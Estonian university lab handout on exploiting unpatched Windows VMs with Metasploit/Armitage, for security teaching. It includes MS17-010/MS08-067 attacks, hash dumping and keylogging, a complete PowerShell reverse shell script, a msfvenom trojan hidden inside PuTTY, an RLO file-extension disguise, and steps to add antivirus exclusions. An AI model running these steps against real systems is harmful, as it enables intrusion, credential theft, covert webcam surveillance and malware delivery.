Praktikum 13 - Turvaaukude ärakasutamine
Käesolevas praktikumis vaatleme lähemalt, kuidas ohuagent (ingl threat agent) on võimeline ohvri arvuti uuendamata tarkvara turvanõrkusi ära kasutama. Selleks kasutame Metasploit framework nimelist populaarset ründetarkvara koos Armitage kasutajaliidesega ning ohvriks eelnevatest praktikumidest tuttavat Windows XP SP3 virtuaalmasinat. Praktikumi teises pooles katsetame ka Tiny11 nimelist väiksema mahuga Windows 11 virtuaalmasinat ning pahavara koostamist.
Ettevalmistus
Kui teil on kõik eelnevad praktikumid edukalt sooritatud, siis kõvaketta ruumi kokkuhoiu huvides võite kustutada järgnevad virtuaalmasinad koos andmetega (kes seda veel teinud ei ole):
Linux Mint kloonWindows 10Windows XP
NB! Praktikum 15 vajame Linux Mint virtuaalmasinat ID kaarti tarkvara katsetamiseks, seega seda veel ärge kustutage.
Virtuaalmasinate seadistamine
Alustuseks kustutame teie arvutist eelnevad praeguseks mittevajalikud virtuaalmasinad ja laadime alla vajaliku virtuaalmasina tarkvara:
Käesolevas praktikumis soovitame kasutada 11. praktikumis alla laetud ja seadistatud KALI virtuaalmasinat. Kui teil see puudub siis paigaldage see:
- Minge leheküljele Kali pre-built VMS
- Laadige alla soovitatud VirtualBox-i kettapilt (ingl image file)
- Pakkige
kali-linux-2025.1c-virtualbox-amd64.7zlahti- Soovitame lahtipakkimisel kasutada tarkvara
7-Zip2, mis on pakkimisel ja lahtipakkimisel efektiivsem ja kiirem kui Windowsi sisse-ehitatud pakkimistarkvara. - NB! 2025. aastal muutus ootamatult Kali Linux kali-archive-keyring, mistõttu ei saa varasematel kui 2025.1c versioonidel enam masinale automaatselt uuendusi teha
sudo apt updatekäsuga. Praktikumi esimeses pooles vahetame selle turve-võtme ära.
- Soovitame lahtipakkimisel kasutada tarkvara
- Seejärel võite paigaldada virtuaalmasina
kali-linux-2025.1c-virtualbox-amd64.vboxdefinitsioonifailiga ehk käivitage.vboxfail topeltklõpsuga.- Kali virtuaalmasinale on soovitatav võimalusel anda ka
4GBRAM VirtualBox-i seadetest.
- Kali virtuaalmasinale on soovitatav võimalusel anda ka
Praktikumi esimeses pooles kasutatava Windows XP SP3 masina paigaldus:
- NB! Kindlasti kustutage eelmistest praktikumist olemasolev
Andmeturve_XP.ovaja importige see uuesti. 9. praktikumis rikub üks kahjurvara Windowsi toimimist nii, et käesolevas praktikumis tekiksid teil probleemid vastavaWindows_XP_SP3masinaga. Kui teil on vajaOVAuuesti alla laadida, saate seda teha siin lingil: - https://owncloud.ut.ee/owncloud/index.php/s/CrtBMvRouATSgz8, kus allalaadimise parooliks sisestage aine kood
LTAT.06.002. - Importige uuesti
Andmeturve_XP_SP3.ovavirtuaalmasin.
NB! Aeglasema internetiga lahendajatel on soovituslik panna taustal laadima ka praktikumi teises pooles kasutatav Tiny11 virtuaalmasin, mille OVA on 8 GB:
- Allalaadimise link: https://owncloud.ut.ee/owncloud/s/njqxtpieM3dge77
- Parooliks on ainekood (LTAT.06.002)
Metasploit ja Armitage
Käivitage Kali virtuaalmasin ja logige sinna sisse. Teil võiks töötada ka ekraani dünaamiline suurendamine ja teksti kopeerimine põhimasinast (Shared Clipboard). Järgnevate käskude esimese asjana laadime KALI virtuaalmasinasse uue repositooriumi turva-võtme, sest väidetavalt suutsid nad eelmise ära kaotada. Lisainfo https://www.kali.org/blog/new-kali-archive-signing-key/ . Edasi paigaldame vajaliku ründetarkvara ning käivitame selle.
Nüüd paigaldage ründamiseks vajalik tarkvara:
$ sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg $ sudo apt update $ sudo apt install kali-tools-exploitation $ sudo apt install metasploit-framework $ sudo systemctl start postgresql $ sudo msfdb init $ sudo armitage
Armitage käivitamise ajal vajutage Connect ja Yes (RPC Server) küsimustele. Nüüd peaks teil olema avatud Armitage kasutajaliides. Sulgege Armitage.
Kujutised 1 ja 2. Armitage käivitamise seaded.
Edukaks võrguründeks on meil vaja, et meie ohver ja ründaja saaksid omavahel suhelda. Selleks seadistame mõlemad virtuaalmasinad Kali Linux ja Windows XP kasutama bridged mode võrguühendust. Veendu, et mõlemad virtuaalmasinad on saanud endale uued IP-aadressid teie kodus või klassis kasutatavast alamvõrgus:
- Linuxis näeb IP-aadressi
ip akäsuga ja Windowsiscmdkäsurealipconfigsisestades. - Enamasti on IP-aadressid algusega
192.168vms,10.0.2.15on NAT aadress ja ei ole sobiv. - Mõlema masina subnet mask pean olema sama (
/24=255.255.255.0). - Vajadusel tehke virtuaalmasinale taaskäivitus, pärast mida on loodetavasti virtuaalmasinal siiski õige IP-aadress.
Ründevektorite avamine
Windows XP masinas tuleb lülitada tulemüür välja:
StartControl Panel- Vasakul
Switch to Classic View Windows FirewallGeneralOff (not recommended)
Samuti tuleb lubada kaugühendamine masinasse:
StartControl PanelNetwork Connections- Parem hiireklahv
Local Area Connection Properties- Lubage
File and Printer Sharing for Microsoft Networks OK
Kujutis 3. Windows XP masinal failide ja printeri jagamise lubamine.
StartControl PanelSystemRemote- Lubage
Allow users to connect remotely to this computer OK
Veendumaks, et meie Kali Linux saab ühendust Windows XP masinaga, sisestage:
nmap -sV <XP-masina IP-aadress>. Väljundis peab kindlasti olema nähtav port 445/tcp open microsoft-ds. Kui ei ole, kontrollige eelnevaid tegevusi kuni on nähtav või võtke ühendust aine õppejõuga.
Kujutis 4. nmap käsuga avastatud ohvri avatud pordid.
Armitage
Nüüd on meil ohvriks olev Windows XP virtuaalmasin ja Kali Linux seadistatud omavahel suhtlema ning ohvri arvutis on vähendatud turvalisust, et ründed võimalikud oleksid.
Käivitame uuesti armitage tarkvara järgnevate käskudega:
$ sudo systemctl start postgresql $ sudo armitage
NB! Kui teil eelmise käsu peale armitage ei käivitu siis on soovitatav kogu KALI virtuaalmasinale taaskäivitus teha ja uuesti proovida. Kali 2025 versioonis kahjuks armitage ei sulgu korralikult ja mingid teenused jäävad taustale ootele, mis takistavad programmi teist korda käivitamist.
Alustame rünnakut võrgus skännimisega (ohvri leidmisega).
Armitage- menüüst
Hosts Nmap ScanQuick Scan (OS detect)- Sisestage enda alamvõrgu IP-aadress
- Vihje: kui teie IP-aadressi võrgumask (peale
/tähemärki) on 24, siis alamvõrgu aadress on sisuliselt IP-aadressi kolm esimest oktetti ning neljas on0. Näiteks192.168.1.123/24puhul on alamvõrgu aadress192.168.1.0/24. Muude võrgumaskide puhul otsige vajadusel abi internetist.
- Vihje: kui teie IP-aadressi võrgumask (peale
OK.
Oodake kuni 1 minut pärast mida peaks ohvri virtuaalmasin (ja mõned muud veel) nähtavale ilmuma.
NB! Armitage tarkvara on tasuta ja seega esineb seal mõningaid stabiilsuse probleeme ehk vahepeal tuleb mitu korda proovida, et käsud või tegevused normaalselt toimiks. Õppejõud otsivad lahendust ja annavad teada kui on rohkem infot. Sellest tulenevalt, kui kõik tegevused ei tööta, võib esitada ka pildid sellest, et proovisite, aga Armitage tarkvara ei õnnestunud tegevust toimima saada.
Kujutis 5. Armitage Quick Scan (OS detect) teekond.
Nüüd uurime ohvrit täpsemalt, tehes talle põhjaliku avatud portide otsimise:
Armitage -> rippmenüü Hosts -> Nmap Scan -> Intense Scan, no ping -> Sisestage Windows XP (ohvri) IP-aadress näiteks 192.168.1.175 -> OK -> jälgige all väljundit ja uurige mida tuvastati ohvri kohta. Kuigi meie näites on ka ohver meie kontrolli all, siis enamik päriselulistes rünnakutes ei ole ohvrist kuigi palju teada ja info kogumine ning kasutatava tarkvara tuvastamine on eelduseks hilisemaks edukaks ründeks.
Nüüd on meil teada ohvri arvuti IP-aadress, avatud TCP pordid 135, 139, 445 ja 3389 ning operatsioonisüsteem Windows XP SP3. Järgnevalt peame Interneti avarustest leidma sobiva exploit ehk haavatavuse ja lootma, et sellele on ka näidiskood kuidas rünnata. Näiteks Exploit Database nimeline leht võimaldab suhteliselt mugavalt filtreerida vastuseid meid huvitavate portide põhjal: https://www.exploit-db.com/?type=remote&platform=windows&port=445
Kujutis 6. Exploit Database port 445 kaugühendusega Windows masinate turvavead.
Nüüd peaksime hakkama vastuseid detailselt läbi analüüsima, kuid lihtsuse huvides annavad siinkohal õppejõud teile vihje, et MS08-067 ja MS17_010 on haavatavused, mis meile huvi pakuvad.
Järgnevalt proovimegi armitage tarkvaras vastavaid ründeid ära kasutada. Selleks kirjutage vasakul olevasse otsingu aknasse ms17 ja/või leidke nimekirjast exploit/windows/smb/ms17_010_psexec. Käivitamiseks võite lohistada vastava exploit sobiva arvuti peale armitage tarkvaras (või teha topeltklikk ning sisestada käsitsi õige RHOST IP-aadress). Nüüd vajutage Launch nuppu ja jälgige väljundit alumises mustas kastis. Eduka ründe korral muutub ohvri arvuti punaseks ning välgujoontega ümbritsetuks.
Kujutised 7 ja 8. Armitage ründe seaded ja väljund.
Palju õnne, olete edukalt ohvri arvutis. Järgnevalt vaatame, kuidas endale küsida täiendavaid õigusi (enamasti saate esialgu ligi tavaõigustega) ning mida muud huvitavat me ohvri arvutis teha saame. Nüüd minge ohvri arvuti peale ja tehke seal parem hiireklahv -> Meterpreter -> Access -> Escalate Priviledges, mille tulemusena avaneb vasakul nn local ehk kohalikud ründed õiguste suurendamiseks. Kuna meil on juba süsteemi õigused siis hetkel me õiguste omandamist täpsemalt ei vaata.
Järgnevalt vaatame, kuidas ligi pääseda kasutaja paroolidele. Selleks tehke parem hiireklahv ohvri arvutil -> Meterpreter -> Access -> Dump Hashes -> lsass method -> jälgi väljundit all aknas.
Uurige eelmise käsu väljundit ja eelnevate aines omandatud teadmiste (või interneti abiga) leidke väljundist, milline osa on kasutaja parooli räsi. Nüüd peame muutma parooli räsid inimloetavale kujule. Selleks tulevad meile appi veebilehed, mis võimaldavad levinud räsisid kontrollida nende andmebaasis olevate vastu ning kui ei leidu, siis väikese "tasu" eest need meile lahti murda. Meie parool on suhteliselt lihtne. Leidke https://crackstation.net/ lehte või mõnda sarnast kasutades, mis on Andmeturve Windows XP virtuaalmasina kasutaja Administrator parool?
13-1: Mis on Andmeturve Windows XP Administrator kasutaja parool? (mitte esitada parooli räsi ja mitte esitada LM puhul osaliselt sobivat Partial match vastust)
Järgnevalt vaatame, kuidas ligi pääseda kasutaja sisestatud klahvivajutustele (näiteks veebilehitsejas sisestatud paroolid). Selleks tehke parem hiireklahv ohvri arvutil -> Meterpreter -> Explore -> Log Keystrokes -> jälgi väljundit all aknas (jätke aken avatuks).
Nüüd minge Windows XP arvutisse ja külastage veebilehitsejaga aadressi https://andmeturve-lab.appspot.com/ ja sisestage väljadele oma Eesnimi, Perenimi ja sõnum. Vaata näidist allpool.
13-2: Esitage Kali Linux Armitage tarkvarast täisekraanivaade, kus on selgelt näha teie ohver (punane), Log Keystrokes edukas rünne ja teie Eesnimi ning Perenimi.
Kujutis 9. Armitage log keystrokes ründava masina väljund.
Tutvuge ka teiste valikutega, mida ohvri arvutiga teha saate. Mõned, mida õppejõud soovitavad kindlasti proovida:
Meterpreter->Access->Persist(järgmine kord paneb ennast ise tööle),Pass Session(pahalase seansi üle viimine teise protsessi peale, näiteks veebilehitsejast explorer.exe vms).Meterpreter->Explore->Browse Files(võimaldab mugavalt faile vaadata),Show Processes(tutvu käimasolevate protsessidega (näiteks kui otsid võimalusi õiguste eskaleerimiseks),Screenshot(ekraanipilt),Webcam Shot(nö kahjunõude rünnak, ma tean küll mis sa seal arvuti ees teed)Meterpreter->Pivoting->Setup(Võimaldab kasutada ohvrit nö lülina ahelas, et järgmiste ohvriteni pääseda. Kasutatakse palju veebiserveritest edasi sisevõrku pääsemiseks). Võimaldab tehanmapja muid tegevusipivotarvutist lähtuvalt.
Katkestame nüüd aktiivse meterpreter seansi ja katsetame veel mõnda teist rünnet.
- parem hiireklahv ohvri arvutil ->
Meterpreter->Kill(katkestab aktiivse seansi ohvriga)
Katsetage nüüd ohvri peal uuesti rünnakut (tehke iseseisvalt, peaks õnnestuma rünnak):
ms08_067_netapi
Katkestame nüüd aktiivse meterpreter seansi ja katsetame mõnda teist rünnet veel.
- parem hiireklahv ohvri arvutil ->
Meterpreter->Kill(katkestab aktiivse seansi ohvriga)
Testime, kas ohver on haavatav ja katsetame uuesti rünnakut:
auxiliary/scanner/rdp/cve_2019_0708_bluekeep exploit/windows/rdp/cve_2019_0708_bluekeep_rce (Targets: 2 => Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VirtualBox 6)
Ei õnnestu ohvrit üle võtta. Nagu nimigi ütleb, sobib pigem Windows 7 ründamiseks, kuigi internetis on leitav modifikatsioon, mis väidetavalt suudab edukalt ka Windows XP rünnata, mis tegelikult on vastavale ründele ka haavatav. Ei hakka siinkohal katsetama.
Mitte kõik ründed ei võta ohvrit üle - näiteks järgmine rünnak võimaldab arvutile DOS (Denial Of Service), meie puhul restart teha:
auxiliary/dos/windows/rdp/ms12_020_maxchannelids
Peaks sundima Windows XP arvuti restarti. Seejärel sulgege Armitage tarkvara!
Kaasaegse Windowsi ründamine
Turvaaugud on tänapäeva keeruliste IT-süsteemide tavaline nähtus, mida leitakse pea igapäevaselt meie kasutatavas tarkvaras ja süsteemides. Paljud tavakasutajad ei märka neid auke kunagi, kuid tajuvad nende mõjusid pidevate turvauuenduste näol. Siinkohal tasubki vaadata, millised vead on leitavad kaasaegsemates (Windows) operatsioonisüsteemides ning mis on ajendiks igakuistele Windows masinate turvauuendustele.
Tiny11
Tiny11 on Windows 11 operatsioonisüsteemi modifitseeritud, kergem versioon, kust on eemaldatud suurem osa igapäevaste tegevuste mõttes ebavajalikud rakendused1. Läbi selle võtab Tiny11 vähem salvestusruumi ning teoorias võiks paraneda ka süsteemijõudlus madalama protsessoriaja ja muutmälu (ingl RAM) kasutuse tõttu. Samuti on boonusteks mõningate "uuenduste" puudumine nagu näiteks võimalus installimise ajal jätta Microsofti konto seadistamine vahele või TPM-i (Trusted Platform Module) nõuete puudumine, mille pärast paljud arvutid ei saa oma "vanaduse" tõttu Windows 11 operatisoonisüsteemi installida.
Introducing tiny11 core - Windows 11 on 3GB of free space
Sellegi poolest on sellistel kohandatud operatsioonisüsteemidel omad "aga"-d. Esiteks on tegemist kellegi kolmanda osapoole tehtud mitteametliku operatsioonisüsteemiga, mida Microsoft ise ei toeta. Seetõttu ei saa kindlalt väita, et tegemist on ohutu süsteemiga, kuna on olemas risk, et seal on peidetud pahavara. Teiseks ei saa selline masin korralikult Microsofti poolt välja lastud uuendusi, vaid uuendama peaks jällegi läbi kolmanda osapoole, mis ei garanteeri korrektseid turvauuendusi ning uuendamise protsess ei pruugi olla nii intuitiivne kui tavalise operatsioonisüsteemi puhul. Kolmandaks on kohandatud operatsioonisüsteemid tihtipeale ebastabiilsemad ja ei pruugi seetõttu anda erilist jõudluse parendamise efekti nagu see teoorias teha võiks. Kõikide nende kulisside taga peituvate probleemide tõttu leiab Interneti foorumitest omajagu inimesi, kes on siiski muutnud peale selliste operatsioonisüsteemide kasutamist meelt ja läinud tagasi originaalsetele süsteemidele2.
Käesoleva praktikumi raames on hea kasutada Tiny11 masinat tavalise Windows 11 asemel, kuna see võtab vähem salvestusruumi ja uuenduste puudumise tõttu on seal rohkem turvaauke, mida praktikumi raames ära kasutada. Siiski paneme südamele, et oma enda ohutuse mõttes ärge sisestage sellistesse kohandatud masinatesse delikaatset infot nagu näiteks paroolid või isikuandmed. Samuti ei soovita aine õppejõud oma igapäevaseadmetesse eba-ametlikke operatsioonisüsteeme paigaldada ning loodetavasti saate ka praktikumi läbimise käigus ise aru, miks ei ole need just kõige turvalisemad.
Laadige alla meie eelseadistatud Tiny11 ova fail ning importige see enda VirtualBox'i:
- Allalaadimise link: https://owncloud.ut.ee/owncloud/s/njqxtpieM3dge77
- Parooliks on ainekood (LTAT.06.002)
Masina eelseadistatud kasutaja parool:
- isherenow
Kui olete masinasse sisse saanud, siis tutvuge esmalt puhta masinaga ning vaadake, mis muudatusi te sealt leiate. Võrrelge Task Manageri abil ka seadme jõudluse kasutust oma enda seadmega. Kas leiate nii häid kui halbu külgi?
Defenderi erandid
Tiny11 masinas tuleks :
- Esmalt paigaldada
Virtualbox Guest Additionsja teha kasutajaliidesest viisakasrestart. - Edasi lisame mõned erandid, et antiviirus ei hakkaks meid liialt segama.
SettingsPrivacy & securitySystem and SecurityWindows SecurityOpen Windows SecurityVirus & threat protection- Virus & threat protection settings all
Manage settings - Exclusions all
Add or remove exclusions Yes- Nüüd lisage
Desktop,DownloadsjaDocumentskaustad erandite alla.Add an exclusionFolder- Korrake vajadusel tegevust.
NB! Praktikumi jooksul peaksite kõik koodide ja programmide käivitamised tegema just äsja seatud erandiga kaustas. Selle abil saate vältida potentsiaalseid probleeme, kus Windows Defender pahavara tegevuse peatab ning programmid/koodid ära kustutab. Windows Defender ei pruugi kõiki ülesannete näiteid avastada, kuid sellega saame potentsiaalseid probleeme ennetada.
Reverse Shell
Reverse shell ehk vastukest on rünne, mille käigus luuake ühendus ohvri arvutist ründaja arvutiga nii, et ründaja saaks ligipääsu ohvri seadme käsureale. Nii saab ründaja käivitada käsurealt ohvri arvutis käske, skripte ning nuhkida seadmes peituvaid andmeid. Järgnevalt vaatamegi kuidas üht lihtsamat sellist ühendust luua.
Järgnevate harjutuste korral kasutame taaskord varasematest praktikumidest tuttavat ohvri ja ründaja analoogia:
- Ohver - Tiny 11 Windows masin.
- Ründaja - Kali Linux masin.
Soovi korral on võimalik sama harjutust läbida ka video abil, kust ründe kood pärineb:
- Hacking windows 11 with Powershell. https://youtu.be/UeBvI278Na8?si=POmU0ct9yjRfC6Tt
Ohver
Avage Tiny11 virtuaalmasinas Notepad ning kopeerige sinna sisse järgnev sisu:
$ip = "AAA.BBB.CCC.DDD"
$port = 20XXX
# Create a TCP client and connect it to the remote host
$client = New-Object System.Net.Sockets.TCPClient $ip, $port
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
# To receive data
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (Invoke-Expression $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
Andke muutujatele väärtused:
$ip= Ründava masina IPv4 aadress$port= pordinumber, kus XXX on teie matriklinumbri kolm viimast numbrit
Nüüd valige Save as ning salvestage skript pannes talle nimeks enda perenime ja laiendiks .ps1 (näiteks peets.ps1).
Ründaja
Seejärel paneme ründava masina ühenduse ootele. Sisestage terminalis järgnev käsk, kus muutke pordinumber samaks, mis ohvrimasina skriptis:
$ nc -vv -l -p 20XXX
Peaks ilmuma kiri, et ründaja kuulab ühendusi valitud pordil. Nüüd jääb üle vaid oodata, mil ohver pahatahtliku skripti käivitab.
Ohver
Avage administraatori õigustega PowerShell kaustas, kus te eelnevalt skripti salvestasite. Et te saaksite selliseid skripte üldse käivitada, tuleks enne anda vastav luba:
Set-ExecutionPolicy Bypass -Scope CurrentUser
Valige Yes ehk Y
Nüüd käivitage skript ning jälgige samaaegselt ründaja masinas pealtkuulava terminali väljundeid:
.\perenimi.ps1
Ründaja
Eelneva skripti käivitamise tulemusena peaksite olema ühendatud ohvri masinaga. Vajutage terminalis ühe korra Enter nuppu. Nüüd peaksite nägema Windows Powershelli käsurida samas kaustas, kus ohver skripti käivitas.
Kontrollige enda kasutajat:
whoami ls ipconfig
- 13-3: Esitage ekraanipilt, kus on
KALIvirtuaalmasinas näharündekäsk(nc -vv -l -p 20XXX),whoami,ls(peab sisaldamaperenimi.ps1faili) ningipconfig. Kui kõik ühele pildile ei mahu esitage mitu pilti.
Kujutis 10. Kali Linux masin kontrollib reverse shell abil Windows masina käsurida.
Proovige peale ekraanipildi tegemist käsurea käskude abil ohvri masinas ringi liikuda. Proovige ka mingeid lihtsamaid käske jooksutada.
Pahalase loomine
Eelnevalt katsetasime ohvri masina käsurea üle võtmist ilmselgelt pahatahtliku koodi käivitamisega. Üldjuhul peidetakse taolised koodid aga mingi muu tarkvara või programmi sisse ära nii, et ohver selle teadmatult käivitaks. Järgnevas harjutuses me täpselt seda katsetamegi.
Ründaja/KALI
Laadige endale alla PuTTY:
$ wget https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe
Looge endale pahalane ning maskeerige see PuTTY tarkvaraks.
- NB! Asendage käsul
<kali_linux_ip>enda Kali IP-aadressiga ning pordi numbri puhul asendage20XXXkolmX-i enda matriklinumbri kolme viimase numbriga.
$ msfvenom -p windows/meterpreter/reverse_http LHOST=<kali_linux_ip> LPORT=20XXX -f exe -x putty.exe -k -o putty-fixed.exe
Nüüd on meil loodud troojalane, mis käivitamisel võtab ühendust ründaja masinaga ehk helistab koju. Käesolevas näites lõime .exe faili, kuid sarnaseid näiteid on ka PDF, DOC ja teiste levinud failitüüpide korral, kus iga üks ründab nõrkusi oma vastavas tarkvaras. Et hiljem testida faili peitmist näiliselt teise faililaiendi taha, siis loome ka ühe pahalase lisaks, kuid ärge seda praegu veel peida:
$ msfvenom -p windows/meterpreter/reverse_http LHOST=<kali_linux_ip> LPORT=20XXX -f exe -o ps.exe
Küll aga ei saa loodud pahalased enne käivitamist midagi ohrvi seadmes teha. Seega oleks see pahalane vaja kuidagi ohvrini toimetada ning kas need ise käivitada või oodata kuni heausklik ohver kummagi mingi hetk iseseisvalt käivitab.
Pahalaste transportimiseks on mitmeid erinevaid variante. Sagedasemad on näiteks meiliga, salapärase mälupulgaga, manusena internetis jms. Lihtsuse huvides saadame antud näites pahatahtliku tarkvara otse ohvri arvutisse tema enda loal.
Lubage esmalt Kali Linux masinas SSH ühendus:
$ sudo service ssh start $ service ssh status
Ohver
- Paigaldage Windows masinasse tarkvara
Bitvisejärgnevalt lingilt: - Käivitage
Bitvise - Sisestage järgnevad andmed:
Log inAccept for This Connection- Sisestage Kali masina parool
- Eduka ühenduse korral valige
New SFTP window - Kopeerige Kali masinast Windows masinasse enda loodud pahalased:
ps.exeputty-fixed.exe
- Seejärel
Log out
Ründaja
Avage Metasploiti konsooli ja käivitage listeneri "kuulama" ühendust meie pahalasest:
$ msfconsole
Avaneb Metasploit turbetarkvara käsurida msf6 kirjega. Sisestage sinna järgnevad käsud:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_http set LPORT 20XXX set LHOST <kali_linux_ip> show options exploit
NB! Kui teil tuleb error The address is already in use or unavailable, siis leidke porti kasutav protsess sudo netstat -tulnp käsuga ning "tapke" see käsuga kill.
Nüüd ootab listener sissetulevaid ühendusi, mis me oleme pahalase programmis sisse seadnud. Nüüd jääb ründajal üle vaid oodata, kuni ohver pahalase käivitab.
NB! Hoidke Kali masin ja sealt HTTP reverse handleri konsool ekraanil avatuna samal ajal kui järgnevaid samme teete. Siis näete mis hetkel ohvri masinast ühendus ründajani jõuab.
Ohver
Üldjuhul peaks nüüd ründaja veenma ohvrit kuidagi pahatahtlikku tarkvara võimalikult kiiresti avama või jääma "kuulama", kuni kasutaja selle üks hetk käivitab. Lihtsuse huvides jätame selle protsessi praegu vahele ja käivitage putty-fixed.exe. Ohvri vaatest ei ole otseselt midagi kahtlast juhtunud - vahel laeb pahalasega programm tööle tavapärasest natuke kauem, kuid üldjuhul ei arva ohver sellest suurt midagi. Ohver saab nüüd täiesti töökorras PuTTy tarkvara kasutada. Seniks aga käib tagataustal midagi enamat.
Ründaja
Nüüd peaksite nägema, et olete loonud ühenduse ohvri masinaga ning käsureal peaks olema meterpreter >. Alustuseks uurime, mis on ohvri arvuti põhilised tehnilised andmed:
sysinfo
Uurige Windows 11 Build versiooni abil, kas tegemist on uuendatud masinaga või vanemaga. Selgitage välja ka masina versioon. Neid andmeid teades saame otsida, mis ajast alates pole potentsiaalseid turvanõrkuseid turvauuendustega parandatud. Kasutame järgmiste rünnete puhul neid teadmisi ära.
Uurige mis võimalused ründajal veel on:
help
NB! Ärge veel iseseisvalt erinevaid help käsu väljundis pakutud võimalusi katsetage. Mõne puhul võib Windows masin tuvastada kahtlase tegevuse ning Defender võib vaatamata varasemate erandite seadmisele need siiski ära keelata ja pahavara eemaldada. Peale vastavate ülesannete lahendamist on juhendis märge, millal võib erinevaid võimalusi katsetama hakata huvi korral.
- Proovige järgmisi käske:
ls,pwd,sysinfo,getuid,getpid,ps,edit perenimi.txt.- Vajutage
vimeditorisija kirjutage esimesele reale enda nimi ning väljumiseksESCklahvi ning:wq. - Veenduge Tiny11 masinas, et Desktopile tekkis teienimeline fail.
- Vajutage
uictl disable all. Nüüd proovige Tiny11 arvutis hiirega aknaid liigutada või klaviatuurivajutusi sisestada.- Ei tohiks töötada, sarnaselt lülitavad pahalased korraks teie hiire välja tekitades tunde et arvuti jooksis kokku ning samal ajal teevad nemad mingi pahateo ning annavad hetkepärast ekraani, hiire, klaviatuuri jne tagasi käsuga
uictl enable all.
- Ei tohiks töötada, sarnaselt lülitavad pahalased korraks teie hiire välja tekitades tunde et arvuti jooksis kokku ning samal ajal teevad nemad mingi pahateo ning annavad hetkepärast ekraani, hiire, klaviatuuri jne tagasi käsuga
- Vaatame visuaalselt, mis teises arvutis toimub käskudega
screenshotjascreenshare, lõpetamiseksCTRL+C - 13-4: Esitage
Kali Linuxmetasploittarkvara poolt avatudfirefoxveebilehitsejascreenshare, kus on nähaTiny11arvutis avatudCommand Promptisipconfigkäsu väljund ja sealNATIP aadress10.0.2.15. Samuti peab avatud olema teieperenimi.txtfail ja seal seesteie nimi.
Kujutis 11. Ohvri masina ekraanipilt ründavas masinas.
NB! Järgnevalt lülitame ründe efektsuse demonstreerimiseks sisse ohvri masinal veebikaamera. Tegevus ei ole kohustuslik kui te seda teha ei soovi või ei saa.
Lubage ohvri masinast võimaluse korral veebikaamera Devices -> Webcams -> tehke linnuke oma veebikaamera peal. Kontrollige analoogselt, et ründaja masinast ei oleks veebikaamera kasutamine lubatud.
Proovige meterpreter ühendusega järgmisi käske:
webcam_list webcam_snap webcam_stream
Peaksite saama nüüd "ohvrit" nende endi veebikaameraga jälgida. Ohvrile reedab teie tegevuse heal juhul see, et nende kaameral hakkab riistvarapõhine tuluke põlema, kuid leidub seni veel ka arvuteid või veebikaameraid, millel ei ole sisse-ehitatud tulukest. Sellisel juhul pole ohvril aimugi, et teda ta enda kodus, kontoris või mujal parasjagu jälgitakse. Lisaks on veel võimalus kuulata ohvrit läbi mikri pealt, kuid antud võimalus ei pruugi kõige stabiilsemalt töötada.
NB! Seejärel andke ründavas masinas Metasploit käsureal käsk quit, et töötav ühendus järgmise ülesande jooksul segama ei hakkaks.
Pahavara pildifailiks maskeerimine
Nüüd vaatame kuidas on taolist pahavara võimalik veel peita. Selleks muudame faililaiendi näiliselt png-ks, kuid sisuliselt on pahavara ikkagi exe, mis käivitamisel võtab ründaja masinaga ühendust.
NB! Kui teil pole programmide faililaiendeid näha, siis tehke need esmalt nähtavaks:
- Minge File Exploreris kausta, kus teil
ps.exepaikneb ViewShowFile name extensions
Nüüd on selgelt näha, et ps.exe on executable programm, kuid teeme seda vähem ilmselgeks. Muutke ps.exe nimi ära järgnevalt:
- Kustutage esmalt faililaiend
.exeära, kuid ärge salvestage - Nüüd avage menüü hiire paremklahviga nime muutmise lahtril
- Liikuge valikule
Insert Unicode control character - Avanenud aknas valige
RLOehk right-to-left override - Seejärel lisage nimele
gnp.exe- Lõplik tulemus peaks välja nägema nagu
psexe.png
- Lõplik tulemus peaks välja nägema nagu
RLO on unicode tähemärk, mis sisuliselt keerab teksti graafilises liideses peegelpilti. Kuigi näeb välja nagu oleks tegemist .png failiga, siis on see siiski veel töötav .exe programm. Proovime seda veelgi varjata.
- Looge
psexe.pngfailile shortcut- Parema klahviga failil menüüd avades valige
Show more optionsning seejärelCreate shortcut
- Parema klahviga failil menüüd avades valige
- Muutke shorcuti nimi eelneva meetodi abil jällegi näiliselt
psexe.png-ks. - Avage shortcuti atribuudid (ingl properties)
- Muutke faili ikoon ära võimalikult pildifaili taoliseks
Shorcutvahelehel nuppChange Icon...
Nüüd näeb shortcut välja nagu see oleks lihtsalt tavaline pildifail, kuid tegelikkuses avab see meie varasemalt loodud pahalase, mis "helistab" ründajale. Samal ajal võiks tegelik pahavara olla kusagil sügavamal süsteemis peidus, kus seda ohver ei leiaks. Antud juhul kasutame shortcuti nimena psexe, kuna see on lühike ja ei lähe graafilises kasutajaliideses pikkuse tõttu peitu. Tegelikkuses võiks faili nimi olla midagi pildifailile kohasemat, et vähendada kahtluste tekkimise riski.
Katsetage äsja loodud valeliku pildifaili toimimist iseseisvalt. Sisuliselt võib eelneva ülesande samme korrata.
Kujutis 12. Valeliku faililaiendi ja ikooniga pahavara.
Kui olete edukalt eelnevate harjutuste ekraanipildid ära teinud, siis võite proovida Metasploiti erinevaid võimalusi, mida help käsk pakkus. Mõningate käskude puhul võib Windows Defender tegevuse kahtlaseks lugeda ning võib pahavara nn musta nimekirja panna ja keelata selle uuesti käivitamist.
Viirusetõrjete analüüs
Uurime nüüd lähemalt, mida arvavad erinevad viirusetõrje tarkvarad meie loodud pahavarast. Selleks laadige putty-fixed.exe tarkvara üles aadressile https://virustotal.com ja oodake paar minutit, millal veebileht lõpetab faili analüüsi. Tutvuge tulemustega.
NB! VirusTotal lehele võib olla vaja umbes 1 minuti möödudes teha värskendus (refresh), et see uuendaks kuvatavaid andmeid. Selle analüüsiga on osadel tudengitel läinud ka umbes 15 minutit või VirusTotal suure koormuse hetkedel pole üldse analüüsi teostatud. Sellisel juhul võiks mõne aja pärast uuesti proovida enda loodud pahalasega faili analüüsiks üles laadida.
NB! pordinumber võib tekkida ka Memory Patterns alla. Ekraanipildi esitusel tehke oma pordinumber seal aktiivseks.
